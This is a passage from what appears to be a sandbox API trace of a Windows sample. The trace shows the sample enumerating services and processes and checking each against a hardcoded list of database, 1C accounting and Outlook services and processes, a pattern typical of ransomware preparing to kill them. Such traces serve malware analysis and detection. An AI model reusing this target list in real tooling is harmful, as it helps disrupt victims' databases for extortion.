lstrlenW (lpString="Dnscache") returned 8 [0277.133] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0277.133] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0277.133] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0277.133] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0277.133] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0277.133] lstrlenW (lpString="DPS") returned 3 [0277.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0277.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0277.134] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0277.134] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0277.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0277.134] lstrlenW (lpString="eventlog") returned 8 [0277.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0277.134] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0277.134] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0277.134] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0277.134] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0277.134] lstrlenW (lpString="EventSystem") returned 11 [0277.134] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0277.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0277.135] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0277.135] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0277.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0277.135] lstrlenW (lpString="gpsvc") returned 5 [0277.135] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0277.135] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0277.135] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0277.135] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0277.135] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0277.135] lstrlenW (lpString="iphlpsvc") returned 8 [0277.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="iphlpsvc") returned -1 [0277.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="iphlpsvc") returned -1 [0277.136] lstrcmpiW (lpString1="sqlwriter", lpString2="iphlpsvc") returned 1 [0277.136] lstrcmpiW (lpString1="mssqlserver", lpString2="iphlpsvc") returned 1 [0277.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="iphlpsvc") returned 1 [0277.136] lstrlenW (lpString="LanmanServer") returned 12 [0277.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanServer") returned -1 [0277.136] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanServer") returned -1 [0277.136] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanServer") returned 1 [0277.136] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanServer") returned 1 [0277.136] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanServer") returned 1 [0277.136] lstrlenW (lpString="LanmanWorkstation") returned 17 [0277.136] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0277.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0277.137] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0277.137] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0277.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0277.137] lstrlenW (lpString="lmhosts") returned 7 [0277.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0277.137] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0277.137] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0277.137] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0277.137] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0277.137] lstrlenW (lpString="MMCSS") returned 5 [0277.137] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0277.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0277.138] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0277.138] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0277.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0277.138] lstrlenW (lpString="MpsSvc") returned 6 [0277.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0277.138] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0277.138] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0277.138] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0277.138] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0277.138] lstrlenW (lpString="Netman") returned 6 [0277.138] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Netman") returned -1 [0277.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Netman") returned -1 [0277.139] lstrcmpiW (lpString1="sqlwriter", lpString2="Netman") returned 1 [0277.139] lstrcmpiW (lpString1="mssqlserver", lpString2="Netman") returned -1 [0277.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Netman") returned 1 [0277.139] lstrlenW (lpString="netprofm") returned 8 [0277.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0277.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0277.139] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0277.139] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0277.139] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0277.139] lstrlenW (lpString="NlaSvc") returned 6 [0277.139] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0277.139] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0277.139] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0277.140] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0277.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0277.140] lstrlenW (lpString="nsi") returned 3 [0277.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0277.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0277.140] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0277.140] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0277.140] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0277.140] lstrlenW (lpString="PcaSvc") returned 6 [0277.140] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0277.140] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0277.140] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0277.141] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0277.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0277.141] lstrlenW (lpString="PlugPlay") returned 8 [0277.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0277.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0277.141] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0277.141] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0277.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0277.141] lstrlenW (lpString="Power") returned 5 [0277.141] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0277.141] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0277.141] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0277.141] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0277.141] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0277.141] lstrlenW (lpString="ProfSvc") returned 7 [0277.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0277.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0277.142] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0277.142] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0277.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0277.142] lstrlenW (lpString="RpcEptMapper") returned 12 [0277.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0277.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0277.142] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0277.142] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0277.142] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0277.142] lstrlenW (lpString="RpcSs") returned 5 [0277.142] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0277.142] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0277.142] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0277.143] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0277.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0277.143] lstrlenW (lpString="SamSs") returned 5 [0277.143] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0277.143] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0277.143] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0277.143] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0277.143] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0277.143] lstrlenW (lpString="Schedule") returned 8 [0277.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0277.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0277.144] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0277.144] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0277.144] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0277.144] lstrlenW (lpString="SENS") returned 4 [0277.144] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0277.144] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0277.145] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0277.145] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0277.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0277.145] lstrlenW (lpString="ShellHWDetection") returned 16 [0277.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0277.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0277.145] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0277.145] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0277.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0277.145] lstrlenW (lpString="Spooler") returned 7 [0277.145] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0277.145] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0277.145] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0277.145] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0277.145] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0277.146] lstrlenW (lpString="SysMain") returned 7 [0277.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0277.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0277.146] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0277.146] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0277.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0277.146] lstrlenW (lpString="Themes") returned 6 [0277.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0277.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0277.146] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0277.146] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0277.146] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0277.146] lstrlenW (lpString="TrkWks") returned 6 [0277.146] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0277.146] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0277.146] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0277.146] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0277.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0277.147] lstrlenW (lpString="UxSms") returned 5 [0277.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0277.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0277.147] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0277.147] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0277.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0277.147] lstrlenW (lpString="WdiServiceHost") returned 14 [0277.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiServiceHost") returned -1 [0277.147] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiServiceHost") returned -1 [0277.147] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiServiceHost") returned -1 [0277.147] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiServiceHost") returned -1 [0277.147] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiServiceHost") returned -1 [0277.147] lstrlenW (lpString="WdiSystemHost") returned 13 [0277.147] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WdiSystemHost") returned -1 [0277.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WdiSystemHost") returned -1 [0277.148] lstrcmpiW (lpString1="sqlwriter", lpString2="WdiSystemHost") returned -1 [0277.148] lstrcmpiW (lpString1="mssqlserver", lpString2="WdiSystemHost") returned -1 [0277.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WdiSystemHost") returned -1 [0277.148] lstrlenW (lpString="WinHttpAutoProxySvc") returned 19 [0277.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0277.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WinHttpAutoProxySvc") returned -1 [0277.148] lstrcmpiW (lpString1="sqlwriter", lpString2="WinHttpAutoProxySvc") returned -1 [0277.148] lstrcmpiW (lpString1="mssqlserver", lpString2="WinHttpAutoProxySvc") returned -1 [0277.148] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WinHttpAutoProxySvc") returned -1 [0277.148] lstrlenW (lpString="Winmgmt") returned 7 [0277.148] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0277.148] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0277.148] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0277.148] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0277.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0277.149] lstrlenW (lpString="WPDBusEnum") returned 10 [0277.149] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="WPDBusEnum") returned -1 [0277.149] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="WPDBusEnum") returned -1 [0277.149] lstrcmpiW (lpString1="sqlwriter", lpString2="WPDBusEnum") returned -1 [0277.149] lstrcmpiW (lpString1="mssqlserver", lpString2="WPDBusEnum") returned -1 [0277.149] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="WPDBusEnum") returned -1 [0277.149] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42e5000 | out: hHeap=0x590000) returned 1 [0277.149] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x3a0 [0277.156] Process32FirstW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0277.156] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x53, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0277.158] lstrlenW (lpString="System") returned 6 [0277.158] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0277.158] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0277.158] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0277.159] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0277.159] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0277.159] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0277.159] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0277.337] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0277.338] lstrlenW (lpString="smss.exe") returned 8 [0277.339] lstrcmpiW (lpString1="1c8.exe", lpString2="smss.exe") returned -1 [0277.339] lstrcmpiW (lpString1="1cv77.exe", lpString2="smss.exe") returned -1 [0277.339] lstrcmpiW (lpString1="outlook.exe", lpString2="smss.exe") returned -1 [0277.339] lstrcmpiW (lpString1="postgres.exe", lpString2="smss.exe") returned -1 [0277.339] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="smss.exe") returned -1 [0277.339] lstrcmpiW (lpString1="mysqld.exe", lpString2="smss.exe") returned -1 [0277.339] lstrcmpiW (lpString1="sqlservr.exe", lpString2="smss.exe") returned 1 [0277.339] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x148, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.340] lstrlenW (lpString="csrss.exe") returned 9 [0277.340] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0277.340] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0277.340] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0277.340] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0277.340] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0277.340] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0277.340] lstrcmpiW (lpString1="sqlservr.exe", lpString2="csrss.exe") returned 1 [0277.340] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x178, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x140, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0277.341] lstrlenW (lpString="wininit.exe") returned 11 [0277.341] lstrcmpiW (lpString1="1c8.exe", lpString2="wininit.exe") returned -1 [0277.342] lstrcmpiW (lpString1="1cv77.exe", lpString2="wininit.exe") returned -1 [0277.342] lstrcmpiW (lpString1="outlook.exe", lpString2="wininit.exe") returned -1 [0277.342] lstrcmpiW (lpString1="postgres.exe", lpString2="wininit.exe") returned -1 [0277.342] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="wininit.exe") returned -1 [0277.342] lstrcmpiW (lpString1="mysqld.exe", lpString2="wininit.exe") returned -1 [0277.342] lstrcmpiW (lpString1="sqlservr.exe", lpString2="wininit.exe") returned -1 [0277.342] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0277.343] lstrlenW (lpString="csrss.exe") returned 9 [0277.343] lstrcmpiW (lpString1="1c8.exe", lpString2="csrss.exe") returned -1 [0277.343] lstrcmpiW (lpString1="1cv77.exe", lpString2="csrss.exe") returned -1 [0277.343] lstrcmpiW (lpString1="outlook.exe", lpString2="csrss.exe") returned 1 [0277.343] lstrcmpiW (lpString1="postgres.exe", lpString2="csrss.exe") returned 1 [0277.343] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="csrss.exe") returned 1 [0277.343] lstrcmpiW (lpString1="mysqld.exe", lpString2="csrss.exe") returned 1 [0277.344] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x170, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0277.344] lstrlenW (lpString="winlogon.exe") returned 12 [0277.345] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0277.346] lstrlenW (lpString="services.exe") returned 12 [0277.346] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x178, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0277.347] lstrlenW (lpString="lsass.exe") returned 9 [0277.347] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1d8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x178, pcPriClassBase=8, dwFlags=0x0, szExeFile="lsm.exe")) returned 1 [0277.348] lstrlenW (lpString="lsm.exe") returned 7 [0277.348] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.349] lstrlenW (lpString="svchost.exe") returned 11 [0277.350] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.351] lstrlenW (lpString="svchost.exe") returned 11 [0277.351] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.352] lstrlenW (lpString="svchost.exe") returned 11 [0277.352] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x17, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.353] lstrlenW (lpString="svchost.exe") returned 11 [0277.353] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.354] lstrlenW (lpString="svchost.exe") returned 11 [0277.354] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0277.355] lstrlenW (lpString="audiodg.exe") returned 11 [0277.355] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0277.356] lstrlenW (lpString="svchost.exe") returned 11 [0277.356] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0277.357] lstrlenW (lpString="explorer.exe") returned 12 [0277.357] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0277.358] lstrlenW (lpString="dwm.exe") returned 7 [0277.358] Process32NextW (in: hSnapshot=0x3a0, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x1c8, pcPriClassBase=8, 